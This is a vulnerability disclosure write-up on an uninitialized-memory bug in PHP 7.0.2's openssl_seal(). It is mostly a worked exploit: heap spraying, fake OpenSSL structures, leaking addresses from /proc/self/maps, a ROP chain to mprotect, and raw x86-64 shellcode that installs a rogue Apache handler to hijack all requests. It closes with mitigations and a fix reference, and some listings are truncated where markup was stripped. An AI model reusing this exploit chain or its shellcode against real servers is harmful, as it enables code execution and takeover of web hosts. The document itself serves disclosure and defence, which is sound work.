Hey folks, The openssl_seal() [4] is prone to use uninitialized memory that can be turned into a code execution. This document describes technical details of our journey to hijack apache2 requests. What the heck is openssl_seal()? [...] int openssl_seal ( string $data , string &$sealed_data , array &$env_keys , array $pub_key_ids [, string $method = "RC4" ] ) openssl_seal() seals (encrypts) data by using the given method with a randomly generated secret key. The key is encrypted with each of the public keys associated with the identifiers in pub_key_ids and each encrypted key is returned in env_keys. This means that one can send sealed data to multiple recipients (provided one has obtained their public keys). Each recipient must receive both the sealed data and the envelope key that was encrypted with the recipient's public key. [...] Source: PHP documentation [4] But it doesn't matter that much what it's intended to do, let's see its implementation. The Bug 4888 /* {{{ proto int openssl_seal(string data, &string sealdata, &array ekeys, array pubkeys) 4889 Seals data */ 4890 PHP_FUNCTION(openssl_seal) 4891 { 4892 zval *pubkeys, *pubkey, *sealdata, *ekeys, *iv = NULL; 4893 HashTable *pubkeysht; 4894 EVP_PKEY **pkeys; [...] 4895 zend_resource ** key_resources; /* so we know what to cleanup */ 4905 if (zend_parse_parameters(ZEND_NUM_ARGS(), "sz/z/a/|sz/", &data, &data_len, 4906 &sealdata, &ekeys, &pubkeys, &method, &method_len, &iv) == FAILURE) { 4907 return; 4908 } 4909 pubkeysht = Z_ARRVAL_P(pubkeys); 4910 nkeys = pubkeysht ? zend_hash_num_elements(pubkeysht) : 0; 4911 if (!nkeys) { 4912 php_error_docref(NULL, E_WARNING, "Fourth argument to openssl_seal() must be a non-empty array"); 4913 RETURN_FALSE; 4914 } [...] 4935 pkeys = safe_emalloc(nkeys, sizeof(*pkeys), 0); [...] 4939 key_resources = safe_emalloc(nkeys, sizeof(zend_resource*), 0); 4940 memset(key_resources, 0, sizeof(zend_resource*) * nkeys); 4941 4942 /* get the public keys we are using to seal this data */ 4943 i = 0; 4944 ZEND_HASH_FOREACH_VAL(pubkeysht, pubkey) { 4945 pkeys[i] = php_openssl_evp_from_zval(pubkey, 1, NULL, 0, &key_resources[i]); 4946 if (pkeys[i] == NULL) { 4947 php_error_docref(NULL, E_WARNING, "not a public key (%dth member of pubkeys)", i+1); 4948 RETVAL_FALSE; 4949 goto clean_exit; 4950 } 4951 eks[i] = emalloc(EVP_PKEY_size(pkeys[i]) + 1); 4952 i++; 4953 } ZEND_HASH_FOREACH_END(); [...] 5000 clean_exit: 5001 for (i=0; ireferences, -1, CRYPTO_LOCK_EVP_PKEY); [...] 387 if (i > 0) 388 return; [...] 395 EVP_PKEY_free_it(x); 396 if (x->attributes) 397 sk_X509_ATTRIBUTE_pop_free(x->attributes, X509_ATTRIBUTE_free); 398 OPENSSL_free(x); 399 } Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#376 Thanks to x == NULL check it wasn't found by unit tests. One obvious way to exploit this bug is to trigger double free and then try to mess up something, but OpenSSL uses allocator from libc which usually deals with double free pretty well. There's an option to manipulate memory via CRYPTO_add (as we control x), but decreasing by 1 will not get us far. Let's dig deeper and see the EVP_PKEY_free_it() implementation: 401 static void EVP_PKEY_free_it(EVP_PKEY *x) 402 { 403 if (x->ameth && x->ameth->pkey_free) { 404 x->ameth->pkey_free(x); 405 x->pkey.ptr = NULL; 406 } [...] Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#EVP_PKEY_free_it 404 line contains call to pkey_free() address that is extracted from x pointer and comes from the uninitialized memory, which under some circumstances we control. Therefore, it can gain us code execution! Exploitation First of all, we'd like to reference to the article [2] which describes exploiting of uninitialized memory in sqlite extension and [3] that is a PoC to hijack all requests coming into Apache when PHP runs as a module. Now we'd like to explore this path once again and see what has changed after introducing modern mitigations methods and amd64 architecture. Our plan looks as follows: * Stage 1 (pwning PHP): 1. control uninitialized memory 2. get (or guess) pointer that will act as a fake EVP_PKEY structure 3. push that pointer as a value to EVP_PKEY_free() 4. basing on guesses (or leaks) build a ROP chain allowing us to execute data 5. execute the 2nd stage shellcode * Stage 2 (pwning Apache): 1. guess/find handlers addresses 2. overwrite first handler with ours evil one 3. get back home (do not crash apache child) Pwning PHP To control uninitialized memory we can use the same trick as in [2]. str_repeat() can allocate memory for us that will be freed right after the call. Because PHP internal allocator works as FIFO, thus we can force openssl_seal() to allocate dirty memory for pkeys by selecting allocation size wisely. Experiments showed that it's pretty reliable to push there around 512 bytes. Therefore, in order to force 512 bytes allocation of pkeys, the public key array should have 64 elements (64 * 8 bytes pointer size). Let us verify it: ~/src/php-7.0.2/sapi/cli$ gdb ./php [...] (gdb) r -r 'str_repeat("A", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));' Starting program: /home/rj4/src/php-7.0.2/sapi/cli/php -r 'str_repeat("A", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));' [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Warning: openssl_seal(): not a public key (1th member of pubkeys) in Command line code on line 1 Program received signal SIGSEGV, Segmentation fault. 0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (gdb) x/i $rip => 0x7ffff5a3d837 : add (%r12),%r13d (gdb) i r [...] r12 0x208 520 [...] (gdb) up #1 0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (gdb) #2 0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff28130d0, return_value=0x7ffff28130c0) at /home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003 5003 EVP_PKEY_free(pkeys[i]); (gdb) print i $3 = 2 (gdb) print pkeys[i] $11 = (EVP_PKEY *) 0x200 (gdb) print pkeys[i+1] $12 = (EVP_PKEY *) 0x4141414141414141 (gdb) print pkeys[i+2] $13 = (EVP_PKEY *) 0x4141414141414141 Boom! It crashed but we expected pkeys[i] to be 0x4141414141414141 (AAAAAAAA) rather than 0x200. Luckily we can simply overwrite 0x200 in pkeys by placing at the beginning valid keys - in short we're going to overwrite first few elements so we can get rid of 0x200 value (which comes from the string length). ~/src/php-7.0.2/sapi/cli$ cat 2.php 0x7ffff5a3d837 : add (%r12),%r13d (gdb) i r r12 r12 0x4141414141414149 4702111234474983753 (gdb) up #1 0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (gdb) #2 0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff2813180, return_value=0x7ffff2813170) at /home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003 5003 EVP_PKEY_free(pkeys[i]); (gdb) print pkeys[i] $1 = (EVP_PKEY *) 0x4141414141414141 We've got full control over value passed to EVP_PKEY_free. Let's see how EVP_PKEY structure looks like now: (gdb) print *pkeys[0] $2 = {type = 6, save_type = 6, references = 1, ameth = 0x7ffff5d99860, engine = 0x0, pkey = {ptr = 0x60f00000c430 "", rsa = 0x60f00000c430, dsa = 0x60f00000c430, dh = 0x60f00000c430, ec = 0x60f00000c430}, save_parameters = 1, attributes = 0x0} structure definition: 128 struct evp_pkey_st { 129 int type; 130 int save_type; 131 int references; 132 const EVP_PKEY_ASN1_METHOD *ameth; 133 ENGINE *engine; 134 union { 135 char *ptr; [...] 148 } pkey; 149 int save_parameters; 150 STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */ 151 } /* EVP_PKEY */ ; Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st and EVP_PKEY_ASN1_METHOD has the following definition: 74 struct evp_pkey_asn1_method_st { 75 int pkey_id; [...] 102 void (*pkey_free) (EVP_PKEY *pkey); [...] 114 } /* EVP_PKEY_ASN1_METHOD */ ; Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st< How to get pkey_free offset, you may ask? (gdb) disas EVP_PKEY_free Dump of assembler code for function EVP_PKEY_free: [...] 0x00007ffff5ad01a3 <+51>: callq 0x7ffff5acfa90 0x00007ffff5ad01a8 <+56>: mov 0x30(%rbx),%rdi 0x00007ffff5ad01ac <+60>: test %rdi,%rdi 0x00007ffff5ad01af <+63>: je 0x7ffff5ad01bd 0x00007ffff5ad01b1 <+65>: lea 0xf1c8(%rip),%rsi # 0x7ffff5adf380 0x00007ffff5ad01b8 <+72>: callq 0x7ffff5ac35f0 0x00007ffff5ad01bd <+77>: mov %rbx,%rdi 0x00007ffff5ad01c0 <+80>: pop %rbx 0x00007ffff5ad01c1 <+81>: jmpq 0x7ffff5a3df70 End of assembler dump. (gdb) x/i 0x7ffff5acfa90 0x7ffff5acfa90: push %rbx (gdb) 0x7ffff5acfa91: mov 0x10(%rdi),%rax (gdb) 0x7ffff5acfa95: mov %rdi,%rbx (gdb) 0x7ffff5acfa98: test %rax,%rax (gdb) 0x7ffff5acfa9b: je 0x7ffff5acfab3 (gdb) 0x7ffff5acfa9d: mov 0xa0(%rax),%rax // pkey_free() ptr offset in ameth ) So now we've got all the puzzles needed to gain control over code execution, let's analyze the following image: pkeys (openssl_seal()) +----------+----------+----------+----------+----- | pkeys[0] | pkeys[1] | pkeys[2] | pkeys[3] | ... +----------+----------+----------+----------+--- | +------------------------------------+ | v EVP_PKEY +------+-----------+------------+-------+----- | type | save_type | references | ameth | ... +------+-----------+------------+-------+--- | +------------------------------------+ | v EVP_PKEY_ASN1_METHOD +---------+--- -+-----------+---- | pkey_id | ... | pkey_free | ... +---------+- ---+-----------+--- What we need now, is to place somewhere a fake EVP_PKEY and EVP_PKEY_ASN1_METHOD structures. We fully control pkeys[3], so obvious thing is to keep fake structs as strings and point to them, but how we'd figure out what's their address? Exploiting PHP gives us the luxury, that we can get desired addresses from the procfs. By calling str_repeat() PHP allocates a new memory region that is under our control and we know its address range by reading /proc/self/maps. We could also use another bug that will let us reveal some information about memory layout, but we don't have to push at open doors here. Having this information we can start filling newly allocated buffer with a fake EVP_PKEY and EVP_PKEY_ASN1_METHOD structures minding the correct offsets. ~/src/php-7.0.2/sapi/cli$ cat 3.php [...] function get_maps() { $fh = fopen("/proc/self/maps", "r"); $maps = fread($fh, 31337^2); fclose($fh); return explode("\n", $maps); } [...] $pre = get_maps(); $buffer = str_repeat("\x00", 0xff0000); $post = get_maps(); $tmp = array_diff($post, $pre); $tmp = explode('-', array_values($tmp)[0])[0]; for ($i = 0; $i < 8; $i++) $buffer[0xff + 12 + $i] = pack('P', $addr)[$i]; [...] Upon calling EVP_PKEY_free_it(), and subsequent attempt to call the pkey_free() in ameth structure, the data under the address specified by us gets executed. Cool! At this point it is trivial to handle both, NX and ASLR. We are chaining the ROP to neutralise NX and use /proc/self/maps so we can forget about the ASLR. Surely other and fancier ROP chain variants can be created but we decided to go for an easy option. During ROPing we attempted to use gadgets from libc in order to make our exploit more generic. Despite our best efforts, we failed to find appropriate gadget for stack pivoting. We ended up using gadgets from the PHP binary, which worked good enough. To pivot the stack we used the address of our controlled buffer, which was already on the stack, and popped it into rsp. Having control over all the pieces we were able to call mprotect() and set the RWX perms for the memory region of our buffer. This step ultimately led us to a second stage shell code execution. CLI version works perfectly: $ cat 3.php #include #include #include #include #define APR_HOOK_REALLY_FIRST (-10) #define OK (0) int handler(void *r) { void (*ap_rprintf_addr)(char *, void *) = (void *)0xdeadbabefeedcafe; char content[16] = "hello world"; (ap_rprintf_addr)(r, content); return OK; } We simply compile it with -O0 -fno-stack-protector and dump it to a shellcode. We call ap_rprintf to print our content in response. Nothing extraordinary. For now address of this function is a hardcoded placeholder, it will be replaced with a valid address in exploit itself. To determine addresses we use the /proc/self/maps again. So, we've implemented steps 1-3. What about the 4th? Getting out of the corrupted state is tricky, stack is corrupted (a bit). We could try to rebuild it and act like nothing has happened but we can also reuse the technique that was used previously. The PHP has a mechanism that kills scripts that run for too long, it is based on signals. If we deliver SIGPROF signal to the process, then PHP will take care of recovering our victim for us. This time we'll use asm (in PHP, sic!): $shellcode_stage1 = str_repeat("\x90",512) . "\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax "\x49\xb8" . pack('P', 0x1000) . // handler size "\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler "\x48\xba" . pack('P', $ap_hook_handler_addr) . // movabs ap_hook_quick_handler, %rdx "\x48\xbe" . pack('P', 0) . // UNUSED "\x48\xbf" . pack('P', $mmap_addr) . // movabs mmap,%rdi "\xff\xd0" . // callq %rax "\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall "\x0f\x05" . // syscall "\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF "\x89\xc7" . // mov %eax,%edi - pid "\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall "\x0f\x05"; // syscall Those 0x2018 and 0x3018 offsets are used to point to the exact memory locations in our buffer_string. It means that we have to add 0x18 aligning bytes to the string contents from the beginning of the $buffer_addr. We're going to place the shellcode_stage2 inside the $buffer at index 0x2000 and handler at index 0x3000. So our code chain is the following: * shellcode_stage1: + call shellcode_stage2 ^ mmap ^ copy handler ^ ap_hook_quick_handler + getpid + kill & clean up We've got all that we need: "\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax "\x48\x8d\x50\x01" . // lea 0x1(%rax),%rdx "\x48\x89\x55\xf8" . // mov %rdx,-0x8(%rbp) "\x48\x8b\x55\xd0" . // mov -0x30(%rbp),%rdx "\x48\x8d\x4a\x01" . // lea 0x1(%rdx),%rcx "\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp) "\x0f\xb6\x12" . // movzbl (%rdx),%edx "\x88\x10" . // mov %dl,(%rax) "\x48\x8b\x45\xc8" . // mov -0x38(%rbp),%rax "\x48\x8d\x50\xff" . // lea -0x1(%rax),%rdx "\x48\x89\x55\xc8" . // mov %rdx,-0x38(%rbp) "\x48\x85\xc0" . // test %rax,%rax "\x75\xd2" . // jne 0x400620 "\x48\x8b\x7d\xf0" . // mov -0x10(%rbp),%rdi "\x48\x8b\x45\xd8" . // mov -0x28(%rbp),%rax "\xb9\xf6\xff\xff\xff" . // mov $0xfffffff6,%ecx "\xba\x00\x00\x00\x00" . // mov $0x0,%edx "\xbe\x00\x00\x00\x00" . // mov $0x0,%esi "\xff\xd0" . // callq *%rax "\xc9" . // leaveq "\xc3"; // retq fill_buffer(0x2000, $shellcode_stage2); $handler = "\x55" . // push %rbp "\x48\x89\xe5" . // mov %rsp,%rbp "\x48\x83\xec\x30" . // sub $0x30,%rsp "\x48\x89\x7d\xd8" . // mov %rdi,-0x28(%rbp) "\x48\xb8" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax "\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp) "\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax "\x48\x89\x45\xe0" . // mov %rax,-0x20(%rbp) "\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax "\x48\x89\x45\xe8" . // mov %rax,-0x20(%rbp) "\x48\x8d\x4d\xe0" . // lea -0x20(%rbp),%rcx "\x48\x8b\x55\xd8" . // mov -0x28(%rbp),%rdx "\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax "\x48\x89\xce" . // mov %rcx,%rsi "\x48\x89\xd7" . // mov %rdx,%rdi "\xff\xd0" . // callq *%rax "\xb8\x00\x00\x00\x00" . // mov $0x0,%eax "\xc9" . // leaveq "\xc3"; // retq fill_buffer(0x3000, $handler); $addr = pack('P', $addr); $memory = str_repeat($addr,321); $pem = " -----BEGIN PUBLIC KEY----- MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== -----END PUBLIC KEY-----"; /* Random RSA key */ $a = array_fill(0,321,0); /* place valid keys at the beginning */ $k = openssl_pkey_get_public($pem); $a[0] = $k; $a[1] = $k; $a[2] = $k; echo "[+] spraying heap\n"; $x = array(); for ($i = 0 ; $i < 20000 ; $i++) { $x[$i] = str_repeat($memory, 1); } for ($i = 0 ; $i < 20000 ; $i++) { unset($x[$i]); } unset($x); echo "[+] triggering openssl_seal()...\n"; @openssl_seal($_, $_, $_, $a); echo "[-] failed ;[\n"; Here's how it works: ~$ curl http://localhost:10080/~rj4/exp.php [+] buffer string @ 0x7f3d66c00014 [+] faking EVP_PKEY @ 0x7f3d66c00113 [+] faking ASN @ 0x7f3d66c00113 [+] libphp7 base @ 0x7f3d6c348000 [+] faking pkey_free @ 0x7f3d66c001af = 7f3d6c7ef9c3 [+] libc base @ 0x7f3d762d0000 [+] mprotect @ 0x7f3d763c4a20 [+] mmap @ 0x7f3d763c49c0 [+] apache2 base @ 0x7f3d77180000 [+] ap_rprintf @ 0x7f3d771c29c0 [+] ap_hook_quick_handler @ 0x7f3d771d6c00 [+] building ropchain [+] spraying heap [+] triggering openssl_seal()... execute it a few times to infect all children ~$ curl http://localhost:10080/~rj4/exp.php Hello World! ~$ curl http://localhost:10080/whatever Hello World! ...\o/, we're done. Mitigations: * Update your PHP! - bug was fixed [8] * Unload OpenSSL extension * Do not rely only on disable_functions [7], as you can see it can be bypassed and there are many other ways to break it. * Do not run PHP as a Apache module, or at least do not be surprised if magiacal things happen. Instead, you may use the FastCGI or even suexec & stuff, but dealing with it is beyond the scope of this text. T H E E N D * lights! curtain! applause! * References http://git.php.net/?p=php-src.git;a=commit;h=424aebbf3643b3fc1b1074ecddf2104cb9465f02 http://php-security.org/2010/05/07/mops-submission-03-sqlite_single_query-sqlite_array_query-uninitialized-memory-usage/index.html http://seclists.org/fulldisclosure/2011/May/472 http://php.net/manual/en/function.openssl-seal.php http://www.phpinternalsbook.com/zvals/memory_management.html https://httpd.apache.org/docs/trunk/developer/modguide.html http://php.net/manual/en/ini.core.php#ini.disable-functions https://bugs.php.net/bug.php?id=71475 Credits shm - Mateusz Kocielski (LogicalTrust) - http://akat1.pl/ - @akat1_pl s1m0n - Filip Palian - http://s1m0n.dft-labs.eu/ n1x0n - Marek Kroemeke - http://kroemeke.eu/